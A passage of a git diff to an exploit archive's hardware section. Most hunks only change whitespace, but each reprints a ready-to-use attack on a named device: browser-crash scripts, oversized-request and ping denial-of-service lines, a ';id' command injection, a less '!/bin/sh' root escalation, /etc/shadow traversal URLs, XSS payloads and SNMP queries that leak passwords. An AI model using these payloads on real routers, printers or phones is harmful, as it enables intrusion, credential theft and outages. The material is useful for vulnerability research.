+http://192.168.1.106/./front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page.asp \ No newline at end of file diff --git a/platforms/hardware/dos/32305.txt b/platforms/hardware/dos/32305.txt index 25d00b9b4..0b9aec26d 100755 --- a/platforms/hardware/dos/32305.txt +++ b/platforms/hardware/dos/32305.txt @@ -7,4 +7,4 @@ Attackers can exploit this issue to crash the affected device, denying service t Dreambox DM500C is vulnerable; other models may also be affected. open|send GET http://www.example.com/aaa(...) -HTTP/1.0\n\n|sleep|close|pattern_not_exists HTTP/1.# ### * \ No newline at end of file +HTTP/1.0\n\n|sleep|close|pattern_not_exists HTTP/1.# ### * \ No newline at end of file diff --git a/platforms/hardware/dos/32341.html b/platforms/hardware/dos/32341.html index e1d6f7f3d..f6e3790c2 100755 --- a/platforms/hardware/dos/32341.html +++ b/platforms/hardware/dos/32341.html @@ -9,4 +9,4 @@ The following devices and corresponding firmware are affected: iPhone 1.1.4 and 2.0 iPod touch 1.1.4 and 2.0 -<html> <body> <form> <script type="text/javascript" language="JavaScript"> var st = "A"; alert ( "Crashing Safari on iPhone..." ); for ( var d = 1 ; d <= 16 ; d ++ ) { st += st; } alert ( st ); </script> </form> </body> </html> \ No newline at end of file +<html> <body> <form> <script type="text/javascript" language="JavaScript"> var st = "A"; alert ( "Crashing Safari on iPhone..." ); for ( var d = 1 ; d <= 16 ; d ++ ) { st += st; } alert ( st ); </script> </form> </body> </html> \ No newline at end of file diff --git a/platforms/hardware/dos/32472.txt b/platforms/hardware/dos/32472.txt index 77303c7f2..82b733f72 100755 --- a/platforms/hardware/dos/32472.txt +++ b/platforms/hardware/dos/32472.txt @@ -4,4 +4,4 @@ Nokia Web Browser for S60 is prone to a denial-of-service vulnerability when han A successful exploit of this issue allows remote attackers to consume excessive system resources in the affected browser, which will cause the application to crash and deny service to legitimate users. Attackers may also be able to run arbitrary code, but this has not been confirmed. -<script> foo = new Array(); while(true) {foo = new Array(foo).sort();} </script> \ No newline at end of file +<script> foo = new Array(); while(true) {foo = new Array(foo).sort();} </script> \ No newline at end of file diff --git a/platforms/hardware/dos/32583.txt b/platforms/hardware/dos/32583.txt index 11b0f7d6f..538ad23b0 100755 --- a/platforms/hardware/dos/32583.txt +++ b/platforms/hardware/dos/32583.txt @@ -4,4 +4,4 @@ NETGEAR WGR614 is prone to a denial-of-service vulnerability that occurs in the Successful exploits will cause the affected web interface to crash, denying service to legitimate users. -http://www.example.com/? \ No newline at end of file +http://www.example.com/? \ No newline at end of file diff --git a/platforms/hardware/dos/33216.txt b/platforms/hardware/dos/33216.txt index a50cd9e25..664281882 100755 --- a/platforms/hardware/dos/33216.txt +++ b/platforms/hardware/dos/33216.txt @@ -8,4 +8,4 @@ NOTE: This BID was originally titled 'Microsoft Windows RDP Connection Denial of The following example is available: -for /L %i in (1,1,20) do mstsc /v:127.0.0.%i \ No newline at end of file +for /L %i in (1,1,20) do mstsc /v:127.0.0.%i \ No newline at end of file diff --git a/platforms/hardware/dos/33280.txt b/platforms/hardware/dos/33280.txt index 699629bd3..11c70821c 100755 --- a/platforms/hardware/dos/33280.txt +++ b/platforms/hardware/dos/33280.txt @@ -6,4 +6,4 @@ Attackers can leverage this issue to cause an affected device to reboot. Given t Palm WebOS 1.1 is vulnerable; other versions may also be affected. -<meta http-equiv="refresh" content="1">AAAAA... using 50280 or more characters after the refresh. \ No newline at end of file +<meta http-equiv="refresh" content="1">AAAAA... using 50280 or more characters after the refresh. \ No newline at end of file diff --git a/platforms/hardware/dos/35939.txt b/platforms/hardware/dos/35939.txt index 0561629ac..9abaa7b34 100755 --- a/platforms/hardware/dos/35939.txt +++ b/platforms/hardware/dos/35939.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to cause a denial-of-service condition or http://www.example.com/natAdd?apptype=userdefined&rulename=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=99 -http://www.example.com/natAdd?apptype=userdefined&rulename=%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cx+y=&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=199&protocol1=proto_6&extportstart1=1&extportend1=1&intportstart1=1&intportend1=1&protocol2=proto_6&extportstart2=&extportend2=&intportstart2=&intportend2=&protocol3=proto_6&extportstart3=&extportend3=&intportstart3=&intportend3= \ No newline at end of file +http://www.example.com/natAdd?apptype=userdefined&rulename=%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cx+y=&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=199&protocol1=proto_6&extportstart1=1&extportend1=1&intportstart1=1&intportend1=1&protocol2=proto_6&extportstart2=&extportend2=&intportstart2=&intportend2=&protocol3=proto_6&extportstart3=&extportend3=&intportstart3=&intportend3= \ No newline at end of file diff --git a/platforms/hardware/dos/38493.txt b/platforms/hardware/dos/38493.txt index 3ff8e574f..6c52d91a1 100755 --- a/platforms/hardware/dos/38493.txt +++ b/platforms/hardware/dos/38493.txt @@ -4,4 +4,4 @@ The Cisco Linksys WRT310N Router is prone to multiple denial-of-service vulnerab Successful exploits will cause the device to crash, denying service to legitimate users. -http://www.example.com/apply.cgi?pptp_dhcp=0&submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&dhcp_check=&lan_netmask_0=&lan_netmask_1=&lan_netmask_2=&lan_netmask_3=&timer_interval=30&language=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&url_address=my.wrt310n&lan_proto=dhcp&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=AAAAAAAAAAAAAAAAAAA&time_zone=-08+1+1&_daylight_time=1 \ No newline at end of file +http://www.example.com/apply.cgi?pptp_dhcp=0&submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&dhcp_check=&lan_netmask_0=&lan_netmask_1=&lan_netmask_2=&lan_netmask_3=&timer_interval=30&language=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&url_address=my.wrt310n&lan_proto=dhcp&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=AAAAAAAAAAAAAAAAAAA&time_zone=-08+1+1&_daylight_time=1 \ No newline at end of file diff --git a/platforms/hardware/dos/8008.txt b/platforms/hardware/dos/8008.txt index db2a84aa8..68068de17 100755 --- a/platforms/hardware/dos/8008.txt +++ b/platforms/hardware/dos/8008.txt @@ -1,4 +1,4 @@ -_ _ _____ _ ___ _____ _ _ + _ _ _____ _ ___ _____ _ _ / / / / ____/ / / _/_ __/ / / / / /_/ / __/ / / / / / / / /_/ / / __ / /___/ /____/ / / / / __ / diff --git a/platforms/hardware/dos/8260.txt b/platforms/hardware/dos/8260.txt index 18190ddba..00c9b1df9 100755 --- a/platforms/hardware/dos/8260.txt +++ b/platforms/hardware/dos/8260.txt @@ -1,4 +1,4 @@ -_ _ _____ _ ___ _____ _ _ + _ _ _____ _ ___ _____ _ _ / / / / ____/ / / _/_ __/ / / / / /_/ / __/ / / / / / / / /_/ / / __ / /___/ /____/ / / / / __ / diff --git a/platforms/hardware/local/34954.txt b/platforms/hardware/local/34954.txt index f42c301a2..3522ab693 100755 --- a/platforms/hardware/local/34954.txt +++ b/platforms/hardware/local/34954.txt @@ -8,4 +8,4 @@ This issue is tracked by Cisco Bug ID CSCti52041 and CSCti74930. Cisco Unified Communications Manager 6, 7, and 8 are vulnerable. -/usr/local/cm/bin/pktCap_protectData -i";id" \ No newline at end of file +/usr/local/cm/bin/pktCap_protectData -i";id" \ No newline at end of file diff --git a/platforms/hardware/local/9955.txt b/platforms/hardware/local/9955.txt index da5547be5..1cd2da313 100755 --- a/platforms/hardware/local/9955.txt +++ b/platforms/hardware/local/9955.txt @@ -1,3 +1,3 @@ Device: Snap Server 410 OS: GuardianOS 5.1.041 -Description: When logged in to CLI via ssh as admin (uid=1) you can escalate your privileges to uid 0 and get /bin/sh. In order to achieve this open 'less' which is available as default for viewing files (ie. less /tmp/top.log) and type in '!/bin/sh'. This will give you direct access to sh shell with UID 0. Tested only on OS version as above. \ No newline at end of file +Description: When logged in to CLI via ssh as admin (uid=1) you can escalate your privileges to uid 0 and get /bin/sh. In order to achieve this open 'less' which is available as default for viewing files (ie. less /tmp/top.log) and type in '!/bin/sh'. This will give you direct access to sh shell with UID 0. Tested only on OS version as above. \ No newline at end of file diff --git a/platforms/hardware/remote/10055.txt b/platforms/hardware/remote/10055.txt index 671bf745b..93d13354f 100755 --- a/platforms/hardware/remote/10055.txt +++ b/platforms/hardware/remote/10055.txt @@ -97,4 +97,4 @@ is strictly prohibited. If you have received this message in error, please notif either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding statements by e-mail unless otherwise agreed. ------------------------------------ \ No newline at end of file +----------------------------------- \ No newline at end of file diff --git a/platforms/hardware/remote/11822.txt b/platforms/hardware/remote/11822.txt index 64f054da6..ad1779e14 100755 --- a/platforms/hardware/remote/11822.txt +++ b/platforms/hardware/remote/11822.txt @@ -63,4 +63,4 @@ Current vulnerability is checked and verified with zk5000 hardware model, possib # Greetz to all Darkc0de, Andhra Hackers and ICW Memebers[Indian Cyber Wrriors] #Thanks : Mr bond,beenu,Wipu,GOdwinAustin,The_empty,hg_H@x0r,r45c4l,it_security,eberly,harin,manoj #Shoutz : SMART_HAX0R,j4ckh4x0r,41w@r10r,Hackuin -#Catch us at www.andhrahackers.com or www.teamicw.in \ No newline at end of file +#Catch us at www.andhrahackers.com or www.teamicw.in \ No newline at end of file diff --git a/platforms/hardware/remote/17279.txt b/platforms/hardware/remote/17279.txt index d8c5c1ea2..dece07d13 100755 --- a/platforms/hardware/remote/17279.txt +++ b/platforms/hardware/remote/17279.txt @@ -1,4 +1,4 @@ -DreamBox DM500(+) Arbitrary File Download Vulnerability + DreamBox DM500(+) Arbitrary File Download Vulnerability Vendor: Dream Multimedia GmbH diff --git a/platforms/hardware/remote/17356.txt b/platforms/hardware/remote/17356.txt index b6737ab70..4cd725bbd 100755 --- a/platforms/hardware/remote/17356.txt +++ b/platforms/hardware/remote/17356.txt @@ -1,4 +1,4 @@ -================================================ + ================================================ == Alex Stanev Security Advisory #4 @31.05.2011 == == http://sec.stanev.org == ================================================ diff --git a/platforms/hardware/remote/17422.txt b/platforms/hardware/remote/17422.txt index 707982f8d..4c7f1213a 100755 --- a/platforms/hardware/remote/17422.txt +++ b/platforms/hardware/remote/17422.txt @@ -43,5 +43,5 @@ ShellVision - www.shellvision.com -------------------------------------------------------------------- -http://server/file?file=/etc/shadow +http://target.com/file?file=/etc/shadow diff --git a/platforms/hardware/remote/19531.txt b/platforms/hardware/remote/19531.txt index 7bd57a40b..69f9c9b32 100755 --- a/platforms/hardware/remote/19531.txt +++ b/platforms/hardware/remote/19531.txt @@ -9,4 +9,4 @@ Vulnerable IOS software may be found on the following Cisco devices: -Catalyst 2900XL LAN switch. -Cisco DitributedDirector. -nmap -sU -p514 <IP-of-Cisco-device> \ No newline at end of file +nmap -sU -p514 <IP-of-Cisco-device> \ No newline at end of file diff --git a/platforms/hardware/remote/19632.txt b/platforms/hardware/remote/19632.txt index 30c9451c4..36fb83288 100755 --- a/platforms/hardware/remote/19632.txt +++ b/platforms/hardware/remote/19632.txt @@ -7,4 +7,4 @@ In at least one version of this printer there are a series of undocumented URL's To obtain the administrator password: -http://printername/ncl_items.html?SUBJECT=2097 \ No newline at end of file +http://printername/ncl_items.html?SUBJECT=2097 \ No newline at end of file diff --git a/platforms/hardware/remote/19943.txt b/platforms/hardware/remote/19943.txt index 43d7f1053..880788b12 100755 --- a/platforms/hardware/remote/19943.txt +++ b/platforms/hardware/remote/19943.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/1228/info The Intel Express 8100 and possibly 8200 ISDN routers can be remotely crashed by sending fragmented or oversized ICMP packets. Using libnet and isic-0.05: -icmpsic -s 127.0.0.1,23 -d <target.router.ip.address> -F 100 \ No newline at end of file +icmpsic -s 127.0.0.1,23 -d <target.router.ip.address> -F 100 \ No newline at end of file diff --git a/platforms/hardware/remote/20231.txt b/platforms/hardware/remote/20231.txt index 887ff684d..733c7dcf3 100755 --- a/platforms/hardware/remote/20231.txt +++ b/platforms/hardware/remote/20231.txt @@ -12,4 +12,4 @@ expn guest ( Now i could enumerate user vrfy oracle and have access to all command) help whatever command i want -quit \ No newline at end of file +quit \ No newline at end of file diff --git a/platforms/hardware/remote/20652.txt b/platforms/hardware/remote/20652.txt index c2fff14d9..76229739e 100755 --- a/platforms/hardware/remote/20652.txt +++ b/platforms/hardware/remote/20652.txt @@ -6,4 +6,4 @@ A problem in the versions of IOS 11.x and 12.0 could allow unauthorized access t It is possible for a malicious remote user to change configuration objects within the MIB-II Community, and rename the system, change the location name in the system, and/or the contact information for the system. This vulnerability affects only certain devices. -snmpwalk router ILMI |more \ No newline at end of file +snmpwalk router ILMI |more \ No newline at end of file diff --git a/platforms/hardware/remote/20806.txt b/platforms/hardware/remote/20806.txt index e9f017e5e..b1f1b1c0d 100755 --- a/platforms/hardware/remote/20806.txt +++ b/platforms/hardware/remote/20806.txt @@ -16,4 +16,4 @@ This can lead to improper cooling of the ink/crayon reservoir, physically damagi Submit http://printername/_ncl_items.shtml&SUBJECT=1 -Select "Shutdown" option = "Emergency Power Off". \ No newline at end of file +Select "Shutdown" option = "Emergency Power Off". \ No newline at end of file diff --git a/platforms/hardware/remote/20892.txt b/platforms/hardware/remote/20892.txt index b007721b9..a357744c8 100755 --- a/platforms/hardware/remote/20892.txt +++ b/platforms/hardware/remote/20892.txt @@ -6,4 +6,4 @@ A problem with Olicom routers could allow unauthorized access to certain configu This problem makes it possible for a remote user to launch a social engineering attack, potentially gaining unauthorized access to the device. -snmpwalk router ILMI |more \ No newline at end of file +snmpwalk router ILMI |more \ No newline at end of file diff --git a/platforms/hardware/remote/21186.txt b/platforms/hardware/remote/21186.txt index feef3a6fb..e34f0badf 100755 --- a/platforms/hardware/remote/21186.txt +++ b/platforms/hardware/remote/21186.txt @@ -4,4 +4,4 @@ Prestige is a product line of DSL routers produced and distributed by Zyxel. When a Zyxel router receives fragmented packets that after reassembly is greater than 64 kilobytes in length, the router crashes. The router must be power cycled to resume normal operation. This could lead to a remote user denying service to a legitimate user of the router. The router is affected only by fragmented packets received through the DSL interface. Fragmented packets sent through the LAN interface have no affect on the system. -ping -t -l 65500 victim.example.com \ No newline at end of file +ping -t -l 65500 victim.example.com \ No newline at end of file diff --git a/platforms/hardware/remote/21285.txt b/platforms/hardware/remote/21285.txt index 9f6ceebba..5fef4f355 100755 --- a/platforms/hardware/remote/21285.txt +++ b/platforms/hardware/remote/21285.txt @@ -8,4 +8,4 @@ The attacker may allegedly change the superuser password of the device via this *Reportedly, the password is stored in plain text and can be revealed by viewing the source of the web page. -http://host/security/web_access.html \ No newline at end of file +http://host/security/web_access.html \ No newline at end of file diff --git a/platforms/hardware/remote/21378.txt b/platforms/hardware/remote/21378.txt index 5a5547689..f485347e8 100755 --- a/platforms/hardware/remote/21378.txt +++ b/platforms/hardware/remote/21378.txt @@ -6,4 +6,4 @@ The device contains a default SNMP community string of "public", which may allow The following example was provided: -snmpwalk CVX-IP-ADD-RESS public .1 \ No newline at end of file +snmpwalk CVX-IP-ADD-RESS public .1 \ No newline at end of file diff --git a/platforms/hardware/remote/21441.txt b/platforms/hardware/remote/21441.txt index f0a0b3e9b..cefcd9a43 100755 --- a/platforms/hardware/remote/21441.txt +++ b/platforms/hardware/remote/21441.txt @@ -4,4 +4,4 @@ The Cisco ATA-186 Analog Telephone Adapter is a hardware device designed to inte Reportedly, HTTP requests consisting of a single character will cause the device to disclose sensitive configuration information, including the password to the administrative web interface. -curl -d a http://ata186.example.com/dev \ No newline at end of file +curl -d a http://ata186.example.com/dev \ No newline at end of file diff --git a/platforms/hardware/remote/21456.txt b/platforms/hardware/remote/21456.txt index e2d7e56c1..3161d0175 100755 --- a/platforms/hardware/remote/21456.txt +++ b/platforms/hardware/remote/21456.txt @@ -4,4 +4,4 @@ IDS Device Manager is a web interface to the Cisco IDS systems. It is distribute The IDS Device Manager may allow a remote user to gain access to sensitive information on the system. Due to improper handling of user-supplied input, it is possible for a user to gain access to arbitrary files on the system using an elementary directory traversal attack. By placing a request to the process, with an appended dot-dot-slash (../) tag pointing to a file, a remote user may read the specified file on the affected system. -https://example.com/../../../../../etc/shadow \ No newline at end of file +https://example.com/../../../../../etc/shadow \ No newline at end of file diff --git a/platforms/hardware/remote/22319.txt b/platforms/hardware/remote/22319.txt index e9af3b4ea..0ba285fe2 100755 --- a/platforms/hardware/remote/22319.txt +++ b/platforms/hardware/remote/22319.txt @@ -6,4 +6,4 @@ A problem with JetDirect printers could make it possible for a remote user to ga It has been reported that HP JetDirect printers leak the web JetAdmin device password under some circumstances. By sending an SNMP GET request to a vulnerable printer, the printer will return the hex-encoded device password to the requester. This could allow a remote user to access and change configuration of the printer. -C:\>snmputil get example.printer public .1.3.6.1.4.1.11.2.3.9.1.1.13.0 \ No newline at end of file +C:\>snmputil get example.printer public .1.3.6.1.4.1.11.2.3.9.1.1.13.0 \ No newline at end of file diff --git a/platforms/hardware/remote/22455.txt b/platforms/hardware/remote/22455.txt index deaf42e1b..f035f42a0 100755 --- a/platforms/hardware/remote/22455.txt +++ b/platforms/hardware/remote/22455.txt @@ -35,4 +35,4 @@ dt:dt="string">NetBios</NewPortMappingDescription> dt:dt="ui4">0</NewLeaseDuration> </m:AddPortMapping> </SOAP-ENV:Body> -</SOAP-ENV:Envelope> \ No newline at end of file +</SOAP-ENV:Envelope> \ No newline at end of file diff --git a/platforms/hardware/remote/22480.txt b/platforms/hardware/remote/22480.txt index 1a9126102..ac814032e 100755 --- a/platforms/hardware/remote/22480.txt +++ b/platforms/hardware/remote/22480.txt @@ -8,4 +8,4 @@ Data collected in this manner may be used in further attacks against the victim It should be noted that this issue has also been reported to affect the Linksys BEFSR81 appliance. -snmpwalk -v 1 -c public {ip} \ No newline at end of file +snmpwalk -v 1 -c public {ip} \ No newline at end of file diff --git a/platforms/hardware/remote/22533.txt b/platforms/hardware/remote/22533.txt index a9abbb4c7..f44cf181e 100755 --- a/platforms/hardware/remote/22533.txt +++ b/platforms/hardware/remote/22533.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/7426/info It has been reported that Nokia IPSO does not properly handle some types of requests through Voyager. Because of this, an attacker with access to the interface may be able to view potentially sensitive information. -http://www.example.com/cgi-bin/readfile.tcl?file=/etc/master.passwd \ No newline at end of file +http://www.example.com/cgi-bin/readfile.tcl?file=/etc/master.passwd \ No newline at end of file diff --git a/platforms/hardware/remote/22626.txt b/platforms/hardware/remote/22626.txt index 686c5fac0..ddc7c8148 100755 --- a/platforms/hardware/remote/22626.txt +++ b/platforms/hardware/remote/22626.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7652/info A vulnerability has been discovered in various Axis Communications products. By making a request for a specially formatted URL, it may be possible for remote users to access the administrative configuration interface without being prompted for authentication. -http://camera-ip//admin/admin.shtml \ No newline at end of file +http://camera-ip//admin/admin.shtml \ No newline at end of file diff --git a/platforms/hardware/remote/23379.txt b/platforms/hardware/remote/23379.txt index 3cd7ea104..6198172b6 100755 --- a/platforms/hardware/remote/23379.txt +++ b/platforms/hardware/remote/23379.txt @@ -10,4 +10,4 @@ http://www.example.com/theme1/selector?button=status,monitor,session&button_url= http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter"><script>alert('oops')</script>,/system/status/session -http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter,/system/status/session"><script>alert('oops')</script> \ No newline at end of file +http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter,/system/status/session"><script>alert('oops')</script> \ No newline at end of file diff --git a/platforms/hardware/remote/23764.txt b/platforms/hardware/remote/23764.txt index 2d5135904..93a845896 100755 --- a/platforms/hardware/remote/23764.txt +++ b/platforms/hardware/remote/23764.txt @@ -6,4 +6,4 @@ The issue is reported to exist due to improper sanitizing of user-supplied data. Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. If an attacker manages to steal a cookie for a valid session, the attacker may leverage the vulnerability to gain management rights to the affected device. -https://example.com:2456/sgmi/<script>badscript</script> \ No newline at end of file +https://example.com:2456/sgmi/<script>badscript</script> \ No newline at end of file diff --git a/platforms/hardware/remote/24140.txt b/platforms/hardware/remote/24140.txt index 1b9d1da63..5010453d4 100755 --- a/platforms/hardware/remote/24140.txt +++ b/platforms/hardware/remote/24140.txt @@ -4,4 +4,4 @@ It is reported that users may bypass Netgear RP114 content filter functionality. This vulnerability may result in a false sense of security for a network administrator, where a malicious website is believed to be unreachable. In reality any host may contact blacklisted websites. -http://www.example.com/?%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 \ No newline at end of file +http://www.example.com/?%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 \ No newline at end of file diff --git a/platforms/hardware/remote/24230.txt b/platforms/hardware/remote/24230.txt index 4f68dc66f..ad026ed45 100755 --- a/platforms/hardware/remote/24230.txt +++ b/platforms/hardware/remote/24230.txt @@ -29,4 +29,4 @@ SNMPv2-SMI::transmission.23.2.3.1.6.0.6 = "" SNMPv2-SMI::transmission.23.2.3.1.6.0.7 = "" SNMPv2-SMI::transmission.23.2.3.1.6.0.8 = "" SNMPv2-SMI::transmission.23.2.3.1.6.5.1 = STRING: "password" -[snip] \ No newline at end of file +[snip] \ No newline at end of file diff --git a/platforms/hardware/remote/25359.txt b/platforms/hardware/remote/25359.txt index 89d8a872c..dc23d3268 100755 --- a/platforms/hardware/remote/25359.txt +++ b/platforms/hardware/remote/25359.txt @@ -4,4 +4,4 @@ A remote authentication bypass vulnerability affects Linksys WET11. This issue i An attacker may leverage this issue to arbitrarily change the administration password of an affected device, facilitating a complete compromise of the device. -http://www.example.com/changepw.html?data=........................ \ No newline at end of file +http://www.example.com/changepw.html?data=........................ \ No newline at end of file diff --git a/platforms/hardware/remote/25684.html b/platforms/hardware/remote/25684.html index b56f92552..874cecb7d 100755 --- a/platforms/hardware/remote/25684.html +++ b/platforms/hardware/remote/25684.html @@ -35,4 +35,4 @@ document.DownloadConfig.submit(); enctype="multipart/form-data"> <input type="Submit" name="config" value="Download" onClick="javascript:invia_richiesta();"><br> -</form></body></html> \ No newline at end of file +</form></body></html> \ No newline at end of file diff --git a/platforms/hardware/remote/25966.txt b/platforms/hardware/remote/25966.txt index 5bebbccb4..115166a31 100755 --- a/platforms/hardware/remote/25966.txt +++ b/platforms/hardware/remote/25966.txt @@ -10,4 +10,4 @@ Transfer complete. 257 bytes sent in 0.9 secs (2855.56 B/s) ftp> ls -rwdx 257 uid=0(root) gid=0(root) groups=0(root) -Command complete. \ No newline at end of file +Command complete. \ No newline at end of file diff --git a/platforms/hardware/remote/26022.txt b/platforms/hardware/remote/26022.txt index 03798e975..252b8dec6 100755 --- a/platforms/hardware/remote/26022.txt +++ b/platforms/hardware/remote/26022.txt @@ -6,4 +6,4 @@ An attacker can disclose the administrator password through the Web interface of This can lead to a complete compromise of the router. -http://www.example.com/cgi-bin/firmwarecfg \ No newline at end of file +http://www.example.com/cgi-bin/firmwarecfg \ No newline at end of file diff --git a/platforms/hardware/remote/26168.txt b/platforms/hardware/remote/26168.txt index efd167777..9e68984c8 100755 --- a/platforms/hardware/remote/26168.txt +++ b/platforms/hardware/remote/26168.txt @@ -39,4 +39,4 @@ $ ike-scan -A -M --id=invalid@hotmail.com 10.0.0.1 Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) Ending ike-scan 1.7.7: 1 hosts scanned in 2.467 seconds (0.41 hosts/sec). 0 -returned handshake; 0 returned notify \ No newline at end of file +returned handshake; 0 returned notify \ No newline at end of file diff --git a/platforms/hardware/remote/27923.txt b/platforms/hardware/remote/27923.txt index 00649f778..7e7fd4f15 100755 --- a/platforms/hardware/remote/27923.txt +++ b/platforms/hardware/remote/27923.txt @@ -4,4 +4,4 @@ The D-Link Airspot DSA-3100 Gateway device is prone to a cross-site scripting vu An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/login_error .shtml?uname=%3CBODY%20ONLOAD =alert(&#039;www.eazel.es&#039;)%3E \ No newline at end of file +http://www.example.com/login_error .shtml?uname=%3CBODY%20ONLOAD =alert(&#039;www.eazel.es&#039;)%3E \ No newline at end of file diff --git a/platforms/hardware/remote/29945.txt b/platforms/hardware/remote/29945.txt index f98ec3596..e6d5e5ad8 100755 --- a/platforms/hardware/remote/29945.txt +++ b/platforms/hardware/remote/29945.txt @@ -4,4 +4,4 @@ D-Link DSL-G624T is prone to a cross-site scripting vulnerability. This issue is An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/cgi-bin/webcm?getpage=../html/home/home_RelaodHref.htm&var:RelaodHref=a"%20==%20"a"){alert("XSS")}}</script> \ No newline at end of file +http://www.example.com/cgi-bin/webcm?getpage=../html/home/home_RelaodHref.htm&var:RelaodHref=a"%20==%20"a"){alert("XSS")}}</script> \ No newline at end of file diff --git a/platforms/hardware/remote/30164.txt b/platforms/hardware/remote/30164.txt index 276861991..ee5a47e16 100755 --- a/platforms/hardware/remote/30164.txt +++ b/platforms/hardware/remote/30164.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script This issue affects OfficeConnect Secure Router firmware 1.04-168; other versions may also be affected. -http://example.com/cgi-bin/admin?page=1&tk=>[xss] \ No newline at end of file +http://example.com/cgi-bin/admin?page=1&tk=>[xss] \ No newline at end of file diff --git a/platforms/hardware/remote/30673.txt b/platforms/hardware/remote/30673.txt index 29cb17754..a7602d355 100755 --- a/platforms/hardware/remote/30673.txt +++ b/platforms/hardware/remote/30673.txt @@ -4,4 +4,4 @@ NETGEAR ProSafe SSL VPN Concentrator 25-SSL312 is prone to a cross-site scriptin Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/cgi-bin/welcome/XYZ?err=[xss] \ No newline at end of file +http://www.example.com/cgi-bin/welcome/XYZ?err=[xss] \ No newline at end of file diff --git a/platforms/hardware/remote/30755.txt b/platforms/hardware/remote/30755.txt index c7a020332..1462885f0 100755 --- a/platforms/hardware/remote/30755.txt +++ b/platforms/hardware/remote/30755.txt @@ -11,4 +11,4 @@ F5 FirePass 4100 SSL VPNs running these 